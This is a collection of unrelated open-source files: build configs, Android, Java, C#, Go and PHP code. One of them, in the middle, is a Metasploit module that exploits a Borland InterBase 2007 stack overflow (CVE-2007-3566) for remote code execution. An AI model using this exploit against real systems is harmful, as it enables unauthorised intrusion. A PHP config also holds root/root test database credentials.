text:
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">

    <!--

        Licensed to the Apache Software Foundation (ASF) under one or more
        contributor license agreements.  See the NOTICE file distributed with
        this work for additional information regarding copyright ownership.
        The ASF licenses this file to You under the Apache License, Version 2.0
        (the "License"); you may not use this file except in compliance with
        the License.  You may obtain a copy of the License at

           http://www.apache.org/licenses/LICENSE-2.0

        Unless required by applicable law or agreed to in writing, software
        distributed under the License is distributed on an "AS IS" BASIS,
        WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
        See the License for the specific language governing permissions and
        limitations under the License.
    -->

    <modelVersion>4.0.0</modelVersion>

    <parent>
        <groupId>org.apache.karaf</groupId>
        <artifactId>karaf</artifactId>
        <version>2.99.99-SNAPSHOT</version>
    </parent>

    <artifactId>org.apache.karaf.management</artifactId>
    <packaging>bundle</packaging>
    <name>Apache Karaf :: Management</name>
    <description>This bundle starts the Karaf embedded MBean server and RMI registry allowing users
    to use JMX to manage Karaf.</description>

    <properties>
        <appendedResourcesDirectory>${basedir}/../etc/appended-resources</appendedResourcesDirectory>
    </properties>

    <dependencies>
        <dependency>
            <groupId>org.osgi</groupId>
            <artifactId>org.osgi.core</artifactId>
            <scope>provided</scope>
        </dependency>
        <dependency>
            <groupId>org.osgi</groupId>
            <artifactId>org.osgi.compendium</artifactId>
            <scope>provided</scope>
        </dependency>
        <dependency>
            <groupId>org.apache.servicemix.bundles</groupId>
            <artifactId>org.apache.servicemix.bundles.junit</artifactId>
            <scope>test</scope>
        </dependency>
        <dependency>
            <groupId>org.easymock</groupId>
            <artifactId>easymock</artifactId>
            <scope>test</scope>
        </dependency>
        <dependency>
            <groupId>org.easymock</groupId>
            <artifactId>easymockclassextension</artifactId>
            <version>${easymock.version}</version>
            <scope>test</scope>
        </dependency>
    </dependencies>

    <build>
        <resources>
            <resource>
                <directory>${project.basedir}/src/main/resources</directory>
                <includes>
                    <include>**/*</include>
                </includes>
            </resource>
            <resource>
                <directory>${project.basedir}/src/main/resources</directory>
                <filtering>true</filtering>
                <includes>
                    <include>**/*.info</include>
                </includes>
            </resource>
        </resources>
        <plugins>
            <plugin>
                <groupId>org.apache.felix</groupId>
                <artifactId>maven-bundle-plugin</artifactId>
                <configuration>
                    <instructions>
                        <Import-Package>
                            !${project.artifactId}*,
                            javax.management,
                            *
                        </Import-Package>
                    </instructions>
                </configuration>
            </plugin>
       </plugins>
    </build>

</project>


text:
package com.thehayro.android.seesawview;

import android.animation.TimeInterpolator;
import android.content.Context;
import android.content.res.TypedArray;
import android.support.annotation.InterpolatorRes;
import android.support.annotation.NonNull;
import android.support.annotation.Nullable;
import android.util.AttributeSet;
import android.view.MotionEvent;
import android.view.View;
import android.view.animation.AnimationUtils;
import android.widget.FrameLayout;

public class SeesawView extends FrameLayout {

    private TimeInterpolator interpolator;

    public SeesawView(Context context) {
        this(context, null);
    }

    public SeesawView(Context context, AttributeSet attrs) {
        this(context, attrs, 0);
    }

    public SeesawView(Context context, AttributeSet attrs, int defStyle) {
        super(context, attrs, defStyle);
        final TypedArray a = context.obtainStyledAttributes(attrs, R.styleable.SeesawView);

        int resId = a.getResourceId(R.styleable.SeesawView_interpolation, android.R.interpolator.linear);
        if (resId > 0) {
            setInterpolator(resId);
        }
        a.recycle();
    }

    @Override
    public final void addView(View child) {
        final int childCount = getChildCount();
        if (childCount >= 1) {
            throw new RuntimeException(getContext().getString(R.string.one_child));
        }
        super.addView(child);
    }

    @Override
    public boolean onInterceptTouchEvent(final MotionEvent event) {
        final int action = event.getAction();
        if (action != MotionEvent.ACTION_UP) {
            return dispatchTap(event);
        }
        reset();
        return super.onInterceptTouchEvent(event);
    }

    private float getPivotPointX() {
        return (float) getWidth() * 0.5f;
    }

    private float getPivotPointY() {
        return (float) getHeight() * 0.5f;
    }

    private boolean dispatchTap(@NonNull final MotionEvent e) {
        final float x = e.getX();
        final float y = e.getY();

        final Vector r1 = new Vector(x, y, 0);
        final Vector r0 = new Vector(getPivotPointX(), getPivotPointY(), 0);
        final Vector f = new Vector(x, y, e.getPressure());
        final Vector r = r1.subtract(r0);
        final Vector torqueVector = r.crossProduct(f);
        final float yRot = (float) Math.toRadians(torqueVector.y) * (-1);
        final float xRot = (float) Math.toRadians(torqueVector.x) * (-1);
        setRotationX(xRot);
        setRotationY(yRot);
        return false;
    }

    private void reset() {
        animate().rotationX(0f).rotationY(0f).setDuration(800).setInterpolator(interpolator).start();
    }

    public void setInterpolator(@InterpolatorRes final int resId) {
        setInterpolator(AnimationUtils.loadInterpolator(getContext(), resId));
    }

    public void setInterpolator(final TimeInterpolator interpolator) {
        this.interpolator = interpolator;
    }

    @Override
    public void setOnClickListener(@Nullable OnClickListener listener) {
        if (getChildCount() == 0) {
            return;
        }
        getChildAt(0).setOnClickListener(listener);
    }

    private static class Vector {

        float x, y, z;

        public Vector(float x, float y, float z) {
            this.x = x;
            this.y = y;
            this.z = z;
        }

        Vector subtract(Vector v) {
            return new Vector(x - v.x, y - v.y, z - v.z);
        }

        Vector crossProduct(Vector v) {
            Vector a = new Vector(y * v.z, z * v.x, x * v.y);
            Vector b = new Vector(z * v.y, x * v.z, y * v.x);
            return a.subtract(b);
        }

        @Override
        public String toString() {
            return String.format("x: %s y: %s z: %s", x, y, z);
        }
    }
}

redpajama_set_name: RedPajamaGithub


text:
#ifndef APPS_SFDL_HW_V_INP_GEN_HW_H_
#define APPS_SFDL_HW_V_INP_GEN_HW_H_

#include <libv/libv.h>
#include <common/utility.h>
#include <apps_sfdl_gen/mergesort_merkle_v_inp_gen.h>
#include <apps_sfdl_gen/mergesort_merkle_cons.h>
#pragma pack(push)
#pragma pack(1)

//using namespace mergesort_merkle_cons;

/*
* Provides the ability for user-defined input creation
*/
class mergesort_merkleVerifierInpGenHw : public InputCreator {
  public:
    mergesort_merkleVerifierInpGenHw(Venezia* v);

    void create_input(mpq_t* input_q, int num_inputs);
  private:
    Venezia* v;
    mergesort_merkleVerifierInpGen compiler_implementation;

};
#pragma pack(pop)
#endif  // APPS_SFDL_HW_V_INP_GEN_HW_H_


text:
package task

import (
	"github.com/sctlee/hazel"
)

func Publish(client *hazel.Client, params map[string]string) {
}

func Build(client *hazel.Client, params map[string]string) {
}

func Accept(client *hazel.Client, params map[string]string) {
}


text:
<?php defined('SYSPATH') OR die('No direct access allowed.');

return array
(
	'default' => array
	(
		'type'       => 'PDO',
		'connection' => array(
			/**
			 * The following options are available for MySQL:
			 *
			 * string   hostname     server hostname, or socket
			 * string   database     database name
			 * string   username     database username
			 * string   password     database password
			 * boolean  persistent   use persistent connections?
			 * array    variables    system variables as "key => value" pairs
			 *
			 * Ports and sockets may be appended to the hostname.
			 */
            'dsn' => 'mysql:host=localhost;dbname=workshop_testing',
			'username'   => 'root',
			'password'   => 'root',
			'persistent' => FALSE,
		),
		'table_prefix' => '',
		'charset'      => 'utf8',
		'caching'      => FALSE,
	),
);


text:
    <meta http-equiv="Content-Type" content="text/html; charset=Windows-1252" />
    <meta name="vs_targetSchema" content="http://schemas.microsoft.com/intellisense/ie5" />
    <title>CommandLine.RecurseDependencies Method</title>
    <xml>
    </xml>
    <link rel="stylesheet" type="text/css" href="MSDN.css" />

            SQL Schema Tool Help

CommandLine.RecurseDependencies Method

 Recursive procedure to examine and sort a SortedList of database objects with dependencies against a SortedList of dependencies to determine the proper dependency order.

private static void RecurseDependencies(
   ref SortedList sl,
   ref SortedList slDep,
   int startAt,
   ref int loopcnt
);

Parameters

          sl

The SortedList of database objects to sort based on their dependencies.

          slDep

The SortedList of dependencies.

          startAt

The starting index of the SortedList containing the database objects.

          loopcnt

The count of how many times the recursive method has called itself.

See Also

        CommandLine Class | Infor.SST Namespace

      <object type="application/x-oleobject" classid="clsid:1e2a7bd0-dab9-11d0-b93a-00c04fc99f9e" viewastext="true" style="display: none;">
        <param name="Keyword" value="RecurseDependencies method">
        </param>
        <param name="Keyword" value="RecurseDependencies method, CommandLine class">
        </param>
        <param name="Keyword" value="CommandLine.RecurseDependencies method">
        </param>
      </object>

Generated from assembly SST [1.0.2118.11998]


text:
<link rel="stylesheet" href="<?php render_theme_path() ?>/css/jquery-ui-1.8.4.smoothness.css" media="all"/>

<?php render_navigation($db,$collection); ?> » <a href="<?php
				h(url("collection.collectionIndexes", array(
					"db" => $db,
					"collection" => $collection
				)));
			?>"><?php hm("indexes");?> » <?php hm("create"); ?>

<?php if(isset($message)): ?>

<?php h($message);?>

<?php endif; ?>

	[Here is official documents]

<form method="post">

		<?php hm("name"); ?>
		<input type="text" name="name"/>

		<?php hm("2d_index_location_field") ?>
		<input type="text" name="location_field" size="30"/>

		<?php hm("other_fields"); ?>

<input type="text" name="field[]" size="30"/> <select name="order[]"><option value="asc">ASC</option><option value="desc">DESC</option></select> <input type="button" value="+" onclick="addNewField()"/>

		<?php hm("2d_index_min_bound") ?>
		<input type="text" name="min_bound" size="15"/> * <?php hm("default") ?>: -180

		<?php hm("2d_index_max_bound") ?>
		<input type="text" name="max_bound" size="15"/> * <?php hm("default") ?>: 180

		<?php hm("2d_index_bit_precision") ?>
		<input type="text" name="bits" size="15"/> * <?php hm("default") ?>: 26

		<input type="submit" value="<?php hm("create"); ?>"/>

</form>


text:
// -----------------------------------------------------------------------
// <copyright file="TodoListFilter.cs" company="Spardo, LLC">
// Copyright (c) 2011 SPardo, LLC
//
// Permission is hereby granted, free of charge, to any person obtaining a
// copy of this software and associated documentation files (the "Software"),
// to deal in the Software without restriction, including without limitation
// the rights to use, copy, modify, merge, publish, distribute, sublicense,
// and/or sell copies of the Software, and to permit persons to whom the
// Software is furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included
// in all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
// OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
// DEALINGS IN THE SOFTWARE.
// </copyright>
// -----------------------------------------------------------------------

namespace DotNet37Signals.Client.Basecamp.Models
{
    public class TodoListFilter
    {
        public readonly static TodoListFilter All = new TodoListFilter { Value = "all" };
        public readonly static TodoListFilter Pending = new TodoListFilter { Value = "pending" };
        public readonly static TodoListFilter Finished = new TodoListFilter { Value = "finished" };

        public string Value { get; private set; }

        public static TodoListFilter New(string value)
        {
            return new TodoListFilter { Value = value };
        }
    }
}


text:
/**
 * TER Lego 2015 - Université Paul Sabatier
 * @author LACHERAY Benjamin, ANTOINE Kevin, MOUGEOT Matteo
 *
 */

package scanner;

import lejos.nxt.Button;

/**
 * Ce thread permet d'interrompre un programme simplement en appuyant
 * sur un bouton Utile pour ne pas être obligé de trouver un cure-dent pour reboot le NXT...
 *
 */
public class ThreadStop extends Thread {

    public void run() {

        try {
            Thread.sleep(500);
        } catch (InterruptedException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }
        Button.waitForAnyPress();
        System.exit(0);

    }
}


text:
// Karma configuration
// Generated on Thu Aug 21 2014 10:24:39 GMT+0200 (CEST)

module.exports = function(config) {
  config.set({

    // base path that will be used to resolve all patterns (eg. files, exclude)
    basePath: '',

    // frameworks to use
    // available frameworks: https://npmjs.org/browse/keyword/karma-adapter
    frameworks: ['jasmine'],

    plugins: [
      'karma-jasmine',
      'karma-sinon-chai',
      'karma-chrome-launcher',
      'karma-spec-reporter',
      'karma-coverage'
    ],

    // list of files / patterns to load in the browser
    files: [
      'bower/angular/angular.js',
      'bower/angular-mocks/angular-mocks.js',
      'src/**/*.module.js',
      'src/**/*.js',
      'test/unit/**/*Spec.js'
    ],

    // list of files to exclude
    exclude: [
      'src/**/*.run.js'
    ],

    // preprocess matching files before serving them to the browser
    // available preprocessors: https://npmjs.org/browse/keyword/karma-preprocessor
    preprocessors: {
      'src/**/*.js': ['coverage']
    },

    // test results reporter to use
    // possible values: 'dots', 'progress'
    // available reporters: https://npmjs.org/browse/keyword/karma-reporter
    reporters: ['spec', 'coverage'],

    coverageReporter: {
      type: 'text'
    },

    // web server port
    port: 9876,

    // enable / disable colors in the output (reporters and logs)
    colors: true,

    // level of logging
    // possible values: config.LOG_DISABLE || config.LOG_ERROR || config.LOG_WARN || config.LOG_INFO || config.LOG_DEBUG
    logLevel: config.LOG_INFO,

    // enable / disable watching file and executing tests whenever any file changes
    autoWatch: true,

    // start these browsers
    // available browser launchers: https://npmjs.org/browse/keyword/karma-launcher
    browsers: ['Chrome'],

    // Use a custom launcher to run Chrome on TravisCI
    customLaunchers: {
      Chrome_travis_ci: {
        base: 'Chrome',
        flags: ['--no-sandbox']
      }
    },

    // Continuous Integration mode
    // if true, Karma captures browsers, runs the tests and exits
    singleRun: false
  });

  // Switch browser to Chrome if TravisCI is detected
  if (process.env.TRAVIS) {
    config.browsers = ['Chrome_travis_ci'];
  }
};


text:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Borland Interbase Create-Request Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in Borland Interbase 2007.
				By sending a specially crafted create-request packet, a remote
				attacker may be able to execute arbitrary code.
			},
			'Author'         => 'MC',
			'Version'        => '$Revision: 9525 $',
			'References'     =>
				[
					[ 'CVE', '2007-3566' ],
					[ 'OSVDB', '38602' ],
					[ 'URL', 'http://dvlabs.tippingpoint.com/advisory/TPTI-07-13' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 850,
					'BadChars' => "\x00",
					'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
					'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows 2000 English All / Borland InterBase 2007',     { 'Offset' => 1266, 'Ret' => 0x1002e556 } ], # sanctuarylib.dll
				],
			'Privileged'     => true,
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Jul 24 2007'))

		register_options([Opt::RPORT(3050)], self.class)
	end

	def exploit
		connect

		# Build the exploit buffer.... It's a biggie!
		sploit =  "\x00\x00\x00\x14" + "\x00\x00\x00\x13" + rand_text_alpha_upper(target['Offset'])
		sploit << payload.encoded + Rex::Arch::X86.jmp_short(6) + rand_text_alpha_upper(2)
		sploit << [target.ret].pack('V') + [0xe8, -850].pack('CV') + rand_text_alpha_upper(40000)

		print_status("Trying target #{target.name}...")
		sock.put(sploit)

		handler
		disconnect
	end

end


text:
namespace vast {

/// The base class for actor state.
struct basic_state  {
  local_actor* self;
  std::string name;

  basic_state(local_actor* self, std::string name)
    : self{self}, name{std::move(name)} {
    VAST_DEBUG_AT(this->name << '#' << self->id(), "spawned");
  }

  ~basic_state() {
    auto rc = render_exit_reason(self->planned_exit_reason());
    VAST_DEBUG_AT(name << '#' << self->id(), "terminated (" << rc << ')');
  };
};

} // namespace vast

#endif


text:
package jef.tools.jmx;

import java.lang.management.ManagementFactory;
import java.util.List;

import javax.management.MBeanServer;
import javax.management.MBeanServerFactory;
import javax.management.ObjectName;

import jef.common.log.LogUtil;

public class JefMonitorRegister {
//	private static HtmlAdaptorServer server;
	public static boolean isJmxEnable(){
		return !"false".equals(System.getProperty("enable.jmx"));
	}

	public static void registeJefDefault() {
		if(isJmxEnable() && System.getProperty("jef.jmx.registed")==null){
			JefMonitor mm = JefMonitor.getInstance();
			registe(null,mm);
		}
	}

	public static synchronized void registe(String path,Object mxBean){
		System.setProperty("jef.jmx.registed","true");
		try{
			List<MBeanServer> servers = MBeanServerFactory.findMBeanServer(null);
			MBeanServer s;
			if (servers.isEmpty()) {
				s = ManagementFactory.getPlatformMBeanServer();
			} else {
				s = servers.get(0);
			}
			String clsName=mxBean.getClass().getSimpleName();
			String name=path==null?clsName+":name=default":path+",objectname="+clsName;
			ObjectName objName = new ObjectName(name);
			s.registerMBean(mxBean, objName);
//			try{
//				if(Class.forName("com.sun.jdmk.comm.HtmlAdaptorServer")!=null){
//					processHtmlAdaptor(s);
//				}
//			}catch(ClassNotFoundException e){
//			}
		}catch(Throwable t){
			System.out.println("MBean Regist error!");
			t.printStackTrace();
		}
	}

	/*
	private static void processHtmlAdaptor(MBeanServer s) throws Exception {
		//如果环境变量禁止了,那么就禁用
		//如果是在复杂的启动环境里,(认为是在某个Java容器中,那么也禁用)
		if(JefMonitorRegister.class.getClassLoader()!=ClassLoader.getSystemClassLoader() && !"1".equals(System.getenv("USE_JMX_HTTP"))){
			return;
		}
		if(server==null){
			int port=ProcessUtil.getFreePort();
			server = new HtmlAdaptorServer();
			ObjectName adapterName = new ObjectName("HttpAgent:name=jef-jmx,port="+port);
			server.setPort(port);
			String password=RandomStringUtils.random(5);
			AuthInfo authInfo=new AuthInfo("admin",password);
			server.addUserAuthenticationInfo(authInfo);
			s.registerMBean(server, adapterName);
			ThreadUtils.doTask(server);
			TripleDES t = new TripleDES();
			String passwordText = t.cipher2("781296-5e32-89122".getBytes("US-ASCII"), password);
			//p1就是端口, p2就是密码用3DES加密后的密文,这里故意用p1和p2的名称,目的是让人看不太懂。防止有人破解后用JMX搞破坏
			LogUtil.info("The JMX Agent was started at p1="+port+" p2="+passwordText);
		}
	}
*/
	public static void unregiste(String path,Object mxBean){
		try{
			List<MBeanServer> servers = MBeanServerFactory.findMBeanServer(null);
			MBeanServer s;
			if (servers.isEmpty()) {
				s = ManagementFactory.getPlatformMBeanServer();
			} else {
				s = servers.get(0);
			}
			if(mxBean==null){
				return;
			}
			String clsName=mxBean.getClass().getSimpleName();
			String name=path==null?clsName+":name=default":path+",objectname="+clsName;
			ObjectName objName = new ObjectName(name);
			s.unregisterMBean(objName);
		}catch(Throwable t){
			LogUtil.exception("MBean Regist error!", t);
		}
	}
}


text:
using System;
using NLion.Validation.Builders;
using NLion.Validation.Targets;

namespace NLion.Validation
{
    /// <summary>
    /// Provides extensions for the <see cref="IFinalGroupTargetBuilder{TObject}"/>.
    /// </summary>
    public static class FinalGroupTargetBuilderExtensions
    {
        #region Methods

        /// <summary>
        /// Creates the <see cref="IfTarget"/>.
        /// </summary>
        /// <typeparam name="TObject">A type of an object to validate.</typeparam>
        /// <param name="builder">The <see cref="IFinalGroupTargetBuilder{TObject}"/>.</param>
        /// <param name="condition">A condition to perform validation.</param>
        /// <exception cref="ArgumentNullException">
        /// The <paramref name="builder"/> is <see langword="null"/>.
        /// </exception>
        /// <exception cref="ArgumentNullException">
        /// The <paramref name="condition"/> is <see langword="null"/>.
        /// </exception>
        /// <returns>The <see cref="IFinalGroupTargetBuilder{TObject}"/>.</returns>
        public static IFinalGroupTargetBuilder<TObject> If<TObject>(
            this IFinalGroupTargetBuilder<TObject> builder, Predicate<TargetContext> condition)
        {
            Throw.ArgumentNullException(builder == null, nameof(builder));
            Throw.ArgumentNullException(condition == null, nameof(condition));

            builder.Target = new IfTarget(builder.Target, condition);

            return new FinalGroupTargetBuilder<TObject>(builder.Validator, builder.Target);
        }

        /// <summary>
        /// Creates the <see cref="IfNotTarget"/>.
        /// </summary>
        /// <typeparam name="TObject">A type of an object to validate.</typeparam>
        /// <param name="builder">The <see cref="IFinalGroupTargetBuilder{TObject}"/>.</param>
        /// <param name="condition">A condition to perform validation.</param>
        /// <exception cref="ArgumentNullException">
        /// The <paramref name="builder"/> is <see langword="null"/>.
        /// </exception>
        /// <exception cref="ArgumentNullException">
        /// The <paramref name="condition"/> is <see langword="null"/>.
        /// </exception>
        /// <returns>The <see cref="IFinalGroupTargetBuilder{TObject}"/>.</returns>
        public static IFinalGroupTargetBuilder<TObject> IfNot<TObject>(
            this IFinalGroupTargetBuilder<TObject> builder, Predicate<TargetContext> condition)
        {
            Throw.ArgumentNullException(builder == null, nameof(builder));
            Throw.ArgumentNullException(condition == null, nameof(condition));

            builder.Target = new IfNotTarget(builder.Target, condition);

            return new FinalGroupTargetBuilder<TObject>(builder.Validator, builder.Target);
        }

        #endregion
    }
}


text:
"""PyAudio Example: Play a WAVE file."""

import pyaudio
import wave
import sys

CHUNK = 1024

wf = wave.open("Downloads/134984__zigzag20705__untitled-shower-2.wav", 'rb')

p = pyaudio.PyAudio()

stream = p.open(format=p.get_format_from_width(wf.getsampwidth()),
    channels=wf.getnchannels(),
    rate=wf.getframerate(),
    output=True)

data = wf.readframes(CHUNK)

while data != '':
    stream.write(data)
    data = wf.readframes(CHUNK)

stream.stop_stream()
stream.close()

p.terminate()


text:
    This is small personal project just for practicing Vue.js and ES2015 classes (and for fun) put together in a few hours.

    The game logic has been implemented using ES2012 (ES6) classes that are very readable. Before building an interface, I could easily test the game logic using unit tests.
    Once the game logic was ready, it was very easy to create Vue.js components that represent the game logic's classes and bind to them.
    In this game you can bring cells to life by clicking on them. Next you can click the autoplay, or manual next button to see how the cells will survive and migrate.

    The game consists out of 4 rules for each passing age:

      -Any live cell with fewer than two live neighbours dies, as if caused by under-population.

      -Any live cell with two or three live neighbours lives on to the next generation.

      -Any live cell with more than three live neighbours dies, as if by over-population.

      -Any dead cell with exactly three live neighbours becomes a live cell, as if by reproduction.

    Source: Wikipedia


text:
@extends('layouts.with-sidebar')

@section('content')
<form method="POST" action="{{ url('/lessons') }}">

        <input type="hidden" id="create-lesson" value="true" />
        <input type="hidden" id="lesson-title" name="title" class="form-control create-lesson__title" placeholder="Lesson Title" value="{{ old('title') }}" />

{{ old('title') }}

            <textarea id="lesson-body-content" name="body" class="body-editable" required>
                {{ old('body') }}
            </textarea>

                <input type="hidden" name="course_id" value="{{ $course_id }}">

                    <button type="submit" class="btn btn--primary" name="save" value="true">Save</button>

                    <button type="submit" class="btn btn--default" name="cancel" value="true">Cancel</button>

                {!! csrf_field() !!}

</form>
@stop


text:
using System;
using System.ComponentModel;
using System.Reflection;

namespace SettingsProviderNet
{
    public interface ISettingDescriptor
    {
        void ReadAttribute<TAttribute>(Action<TAttribute> callback);
        PropertyInfo Property { get; }
        object DefaultValue { get; }
        string Description { get; }
        string DisplayName { get; }
        string Key { get; }

        bool IsProtected { get; }

        /// <summary>
        /// If the property type is nullable, returns the type. i.e int? returns int
        /// </summary>
        Type UnderlyingType { get; }

        void Write(object settings, object value);
        object ReadValue(object settings);
        event PropertyChangedEventHandler PropertyChanged;
    }
}


text:
package bsoncodec

import (
	"errors"
	"reflect"
	"sync"

	"go.mongodb.org/mongo-driver/bson/bsontype"
)

// ErrNilType is returned when nil is passed to either LookupEncoder or LookupDecoder.
var ErrNilType = errors.New("cannot perform a decoder lookup on <nil>")

// ErrNotPointer is returned when a non-pointer type is provided to LookupDecoder.
var ErrNotPointer = errors.New("non-pointer provided to LookupDecoder")

// ErrNoEncoder is returned when there wasn't an encoder available for a type.
type ErrNoEncoder struct {
	Type reflect.Type
}

func (ene ErrNoEncoder) Error() string {
	if ene.Type == nil {
		return "no encoder found for <nil>"
	}
	return "no encoder found for " + ene.Type.String()
}

// ErrNoDecoder is returned when there wasn't a decoder available for a type.
type ErrNoDecoder struct {
	Type reflect.Type
}

func (end ErrNoDecoder) Error() string {
	return "no decoder found for " + end.Type.String()
}

// ErrNoTypeMapEntry is returned when there wasn't a type available for the provided BSON type.
type ErrNoTypeMapEntry struct {
	Type bsontype.Type
}

func (entme ErrNoTypeMapEntry) Error() string {
	return "no type map entry found for " + entme.Type.String()
}

// ErrNotInterface is returned when the provided type is not an interface.
var ErrNotInterface = errors.New("The provided type is not an interface")

var defaultRegistry *Registry

func init() {
	defaultRegistry = buildDefaultRegistry()
}

// A RegistryBuilder is used to build a Registry. This type is not goroutine
// safe.
type RegistryBuilder struct {
	typeEncoders      map[reflect.Type]ValueEncoder
	interfaceEncoders []interfaceValueEncoder
	kindEncoders      map[reflect.Kind]ValueEncoder

	typeDecoders      map[reflect.Type]ValueDecoder
	interfaceDecoders []interfaceValueDecoder
	kindDecoders      map[reflect.Kind]ValueDecoder

	typeMap map[bsontype.Type]reflect.Type
}

// A Registry is used to store and retrieve codecs for types and interfaces. This type is the main
// typed passed around and Encoders and Decoders are constructed from it.
type Registry struct {
	typeEncoders map[reflect.Type]ValueEncoder
	typeDecoders map[reflect.Type]ValueDecoder

	interfaceEncoders []interfaceValueEncoder
	interfaceDecoders []interfaceValueDecoder

	kindEncoders map[reflect.Kind]ValueEncoder
	kindDecoders map[reflect.Kind]ValueDecoder

	typeMap map[bsontype.Type]reflect.Type

	mu sync.RWMutex
}

// NewRegistryBuilder creates a new empty RegistryBuilder.
func NewRegistryBuilder() *RegistryBuilder {
	return &RegistryBuilder{
		typeEncoders: make(map[reflect.Type]ValueEncoder),
		typeDecoders: make(map[reflect.Type]ValueDecoder),

		interfaceEncoders: make([]interfaceValueEncoder, 0),
		interfaceDecoders: make([]interfaceValueDecoder, 0),

		kindEncoders: make(map[reflect.Kind]ValueEncoder),
		kindDecoders: make(map[reflect.Kind]ValueDecoder),

		typeMap: make(map[bsontype.Type]reflect.Type),
	}
}

func buildDefaultRegistry() *Registry {
	rb := NewRegistryBuilder()
	defaultValueEncoders.RegisterDefaultEncoders(rb)
	defaultValueDecoders.RegisterDefaultDecoders(rb)
	return rb.Build()
}

// RegisterCodec will register the provided ValueCodec for the provided type.
func (rb *RegistryBuilder) RegisterCodec(t reflect.Type, codec ValueCodec) *RegistryBuilder {
	rb.RegisterEncoder(t, codec)
	rb.RegisterDecoder(t, codec)
	return rb
}

// RegisterEncoder will register the provided ValueEncoder to the provided type.
//
// The type registered will be used directly, so an encoder can be registered for a type and a
// different encoder can be registered for a pointer to that type.
func (rb *RegistryBuilder) RegisterEncoder(t reflect.Type, enc ValueEncoder) *RegistryBuilder {
	if t == tEmpty {
		rb.typeEncoders[t] = enc
		return rb
	}
	switch t.Kind() {
	case reflect.Interface:
		for idx, ir := range rb.interfaceEncoders {
			if ir.i == t {
				rb.interfaceEncoders[idx].ve = enc
				return rb
			}
		}

		rb.interfaceEncoders = append(rb.interfaceEncoders, interfaceValueEncoder{i: t, ve: enc})
	default:
		rb.typeEncoders[t] = enc
	}
	return rb
}

// RegisterDecoder will register the provided ValueDecoder to the provided type.
//
// The type registered will be used directly, so a decoder can be registered for a type and a
// different decoder can be registered for a pointer to that type.
func (rb *RegistryBuilder) RegisterDecoder(t reflect.Type, dec ValueDecoder) *RegistryBuilder {
	if t == nil {
		rb.typeDecoders[nil] = dec
		return rb
	}
	if t == tEmpty {
		rb.typeDecoders[t] = dec
		return rb
	}
	switch t.Kind() {
	case reflect.Interface:
		for idx, ir := range rb.interfaceDecoders {
			if ir.i == t {
				rb.interfaceDecoders[idx].vd = dec
				return rb
			}
		}

		rb.interfaceDecoders = append(rb.interfaceDecoders, interfaceValueDecoder{i: t, vd: dec})
	default:
		rb.typeDecoders[t] = dec
	}
	return rb
}

// RegisterDefaultEncoder will registr the provided ValueEncoder to the provided
// kind.
func (rb *RegistryBuilder) RegisterDefaultEncoder(kind reflect.Kind, enc ValueEncoder) *RegistryBuilder {
	rb.kindEncoders[kind] = enc
	return rb
}

// RegisterDefaultDecoder will register the provided ValueDecoder to the
// provided kind.
func (rb *RegistryBuilder) RegisterDefaultDecoder(kind reflect.Kind, dec ValueDecoder) *RegistryBuilder {
	rb.kindDecoders[kind] = dec
	return rb
}

// RegisterTypeMapEntry will register the provided type to the BSON type. The primary usage for this
// mapping is decoding situations where an empty interface is used and a default type needs to be
// created and decoded into.
//
// NOTE: It is unlikely that registering a type for BSON Embedded Document is actually desired. By
// registering a type map entry for BSON Embedded Document the type registered will be used in any
// case where a BSON Embedded Document will be decoded into an empty interface. For example, if you
// register primitive.M, the EmptyInterface decoder will always use primitive.M, even if an ancestor
// was a primitive.D.
func (rb *RegistryBuilder) RegisterTypeMapEntry(bt bsontype.Type, rt reflect.Type) *RegistryBuilder {
	rb.typeMap[bt] = rt
	return rb
}

// Build creates a Registry from the current state of this RegistryBuilder.
func (rb *RegistryBuilder) Build() *Registry {
	registry := new(Registry)

	registry.typeEncoders = make(map[reflect.Type]ValueEncoder)
	for t, enc := range rb.typeEncoders {
		registry.typeEncoders[t] = enc
	}

	registry.typeDecoders = make(map[reflect.Type]ValueDecoder)
	for t, dec := range rb.typeDecoders {
		registry.typeDecoders[t] = dec
	}

	registry.interfaceEncoders = make([]interfaceValueEncoder, len(rb.interfaceEncoders))
	copy(registry.interfaceEncoders, rb.interfaceEncoders)

	registry.interfaceDecoders = make([]interfaceValueDecoder, len(rb.interfaceDecoders))
	copy(registry.interfaceDecoders, rb.interfaceDecoders)

	registry.kindEncoders = make(map[reflect.Kind]ValueEncoder)
	for kind, enc := range rb.kindEncoders {
		registry.kindEncoders[kind] = enc
	}

	registry.kindDecoders = make(map[reflect.Kind]ValueDecoder)
	for kind, dec := range rb.kindDecoders {
		registry.kindDecoders[kind] = dec
	}

	registry.typeMap = make(map[bsontype.Type]reflect.Type)
	for bt, rt := range rb.typeMap {
		registry.typeMap[bt] = rt
	}

	return registry
}

